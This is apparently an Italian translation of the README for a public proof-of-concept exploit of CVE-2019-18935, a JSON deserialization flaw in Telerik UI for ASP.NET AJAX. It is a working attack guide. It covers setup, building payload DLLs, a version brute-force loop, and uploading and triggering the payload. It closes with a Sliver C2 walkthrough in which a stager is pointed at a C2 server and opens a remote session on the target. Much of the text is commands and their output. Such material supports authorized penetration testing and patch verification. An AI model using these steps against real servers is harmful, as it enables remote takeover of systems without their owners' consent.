
Exploit RCE per una vulnerabilità di deserializzazione JSON in .NET in Telerik UI per ASP.NET AJAX.
Exploit proof-of-concept per una vulnerabilità di deserializzazione JSON in .NET in Telerik UI for ASP.NET AJAX che consente l'esecuzione remota di codice.
Telerik UI for ASP.NET AJAX è una suite di componenti dell'interfaccia utente ampiamente utilizzata per applicazioni web. Deserializza in modo non sicuro oggetti JSON, il che comporta l'esecuzione remota di codice arbitrario sull'host sottostante del software. Per maggiori informazioni, vedere:
Dovrai avere installati Visual Studio e .NET Framework SDK per compilare payload DLL di assembly .NET in modalità mista usando build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Questo exploit sfrutta la logica di crittografia di RAU_crypto. La classe RAUCipher all'interno di RAU_crypto.py dipende da PyCryptodome, un sostituto drop-in del modulo PyCrypto, abbandonato. PyCryptodome e PyCrypto creano problemi se installati nello stesso ambiente, quindi il modo migliore per soddisfare questa dipendenza è installare il modulo in un ambiente virtuale, come mostrato sopra.
Indica alla riga 17 di build-dll.bat il percorso della tua installazione di Visual Studio.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Alcuni payload (ad es., reverse-shell.c e sliver-stager.c) richiedono di impostare i campi HOST e PORT in modo che puntino al tuo server C2: assicurati di farlo!
In un ambiente Windows con Visual Studio installato, usa build-dll.bat per generare DLL di assembly in modalità mista a 32 e 64 bit da usare come payload durante la deserializzazione. Puoi opzionalmente specificare un'architettura della CPU di destinazione come secondo argomento della CLI (ad es., x86).
build-dll.bat sleep.c
Passa la DLL generata sopra a CVE-2019-18935.py, che caricherà la DLL in una directory sul server di destinazione (a condizione che il server web abbia i permessi di scrittura in quella directory) e poi caricherà la DLL nell'applicazione tramite l'exploit di deserializzazione non sicura.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
Nell'esempio sopra, l'applicazione ha impiegato almeno 10 secondi a rispondere, indicando che il payload DLL ha invocato con successo Sleep(10000).
Come descritto nel talk DerpCon .NET Roulette (39:46), possiamo forzare la versione di Telerik UI specificando solo la versione maggiore dell'assembly Telerik.Web.UI (cioè la parte 2017 della stringa di versione completa 2017.2.503.40) durante il caricamento di un file. Questa tecnica riduce drasticamente lo spazio di ricerca rispetto al brute-forcing di ogni specifica release di questo software e, come ulteriore vantaggio, può persino rilevare versioni non elencate esplicitamente nella cronologia delle release di questo software. Scopri di più sul versionamento degli assembly .NET su MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
Il payload stager personalizzato Sliver sliver-stager.c riceve ed esegue lo shellcode di Sliver (lo stage) dal server Sliver (il server di staging), seguendo il protocollo di staging di Metasploit. Per maggiori dettagli sul funzionamento, leggi l'intestazione nel sorgente del payload.
Avvia il server Sliver. Maggiori informazioni sulla configurazione del server qui.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Apri un endpoint C2 (qui stiamo usando un listener mTLS, ma puoi usare anche HTTP o DNS) sul server Sliver, crea un profilo implant e crea un listener di staging collegato a quel profilo. Maggiori informazioni sui payload staged qui. Nota che non stiamo generando uno stager Sliver usando generate stager come suggerisce la documentazione di Sliver; stiamo invece usando il nostro stager personalizzato sliver-stager.c.
⚠️ Attenzione: l'invio di uno stage con un'architettura della CPU errata farà crashare il processo target! Ad esempio, se il target esegue una versione a 32 bit di Telerik UI e il server di staging invia uno stage a 64 bit allo stager a 32 bit, il processo del server web andrà in crash. Nell'esempio seguente generiamo shellcode a 32 bit, ma devi abbinarlo all'architettura della CPU del tuo target usando il flag --arch del comando new-profile.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Imposta l'host e la porta nel sorgente dello stager Sliver in modo che puntino al server Sliver (di seguito viene mostrato un server di esempio).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Compila il payload stager Sliver, carica il payload sul target e caricalo nell'applicazione (tutto secondo le sezioni sull'utilizzo precedenti in questo README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
Se tutto va bene (hai troubleshat questo target?), vedrai una sessione creata nella finestra del server Sliver che potrai usare per interagire con il target.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller non può caricare più assembly .NET con lo stesso nome di assembly (diverso da un nome file). Dovrai compilarne e caricarne uno nuovo ogni volta che vuoi far dormire il target, fargli effettuare una chiamata, ecc.L'uso di questo strumento per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili di eventuali usi impropri o danni causati da questo programma.
@mwulftange ha scoperto inizialmente questa vulnerabilità. @bao7uo ha scritto tutta la logica per violare la crittografia di RadAsyncUpload, che ha permesso di manipolare l'oggetto di configurazione del caricamento file in rauPostData e successivamente di sfruttare la deserializzazione non sicura di quell'oggetto. @lesnuages ha scritto la prima iterazione del payload stager Sliver.
Questo progetto è concesso in licenza secondo la Apache License.